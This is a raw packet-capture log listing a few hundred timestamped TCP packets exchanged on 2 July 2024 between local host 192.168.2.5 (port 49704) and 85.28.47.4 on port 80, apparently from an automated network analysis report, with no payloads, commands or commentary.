Jul 2, 2024 04:12:06.955712080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.960458040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132620096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132683992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.132710934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132719994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132735968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132754087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132759094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.132791996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.132838964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132878065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.132910013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132941008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132953882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.132956028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132971048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.132977962 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.132999897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.132999897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133064985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133074045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133090019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133100986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133111000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133117914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133127928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133143902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133143902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133143902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133171082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133188963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133198023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133200884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133215904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133227110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133234978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133235931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133249998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133256912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133270025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133276939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133281946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133291006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133297920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133311033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133317947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133327961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133327961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133337975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133348942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133356094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133387089 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133409977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133419991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133434057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133443117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133450031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133456945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133460045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133471012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133485079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133500099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133508921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133516073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133533001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133538008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133544922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133563995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133567095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133574963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133588076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133599043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133610964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133615017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133626938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133639097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133646011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133658886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133680105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133682966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133701086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133713007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133721113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133728027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133733988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133745909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133747101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133763075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133768082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133790970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133801937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133814096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133831978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133840084 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133846045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133869886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133877039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133893967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133907080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133919001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133928061 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133934021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133934975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133964062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133970976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133979082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.133982897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.133997917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134004116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134006977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134017944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134038925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134063959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134073973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134088993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134098053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134104967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134115934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134125948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134155035 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134182930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134191990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134206057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134215117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134227037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134234905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134260893 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134304047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134313107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134345055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134377956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134396076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134404898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134418964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134423018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134433985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134448051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134476900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134613037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134624004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134638071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134649038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134651899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134663105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134675980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134679079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134690046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134702921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134707928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134707928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134733915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134742975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134746075 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134761095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134767056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134780884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134787083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134792089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134808064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134808064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134819984 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134824038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134834051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134845018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134850979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134860039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134867907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134876966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134890079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134893894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134902954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134912968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134932995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134943008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.134968996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134979010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.134994030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135003090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135015011 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135018110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135041952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135052919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135133028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135143042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135158062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135165930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135178089 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135179043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135196924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135200977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135207891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135207891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135225058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135235071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135236025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135250092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135260105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135265112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.135277033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135283947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.135308981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222301006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222322941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222332954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222353935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222358942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222368002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222374916 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222387075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222397089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222415924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222421885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222431898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222440958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222455025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222467899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222474098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222482920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222497940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222505093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222516060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222518921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222532034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222541094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222542048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222558975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222564936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222568989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222584963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222598076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222603083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222614050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222632885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222642899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222656965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222670078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222677946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222677946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222692013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222713947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222716093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222728968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222729921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222750902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222754955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222764015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222769976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222779036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222785950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222805023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222811937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222845078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222853899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222867966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222877979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222889900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222893953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222906113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222918034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222934008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222953081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.222965002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222975016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.222996950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223001957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223014116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223028898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223031998 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223054886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223064899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223100901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223110914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223128080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223136902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223141909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223150969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223197937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223212957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223232031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223241091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223262072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223265886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223273039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223280907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223288059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223294020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223298073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223306894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223315954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223323107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223326921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223336935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223345995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223347902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223359108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223377943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223381996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223388910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223406076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223414898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223426104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223449945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223515987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223526001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223540068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223547935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223556042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223563910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223573923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223587990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223588943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223588943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223608017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223620892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223622084 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223638058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223644018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223647118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223668098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223685980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223735094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223773956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223820925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223833084 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223845005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223855972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223860025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223870993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223874092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223886967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223901033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223913908 CEST	49704	80	192.168.2.5	85.28.47.4
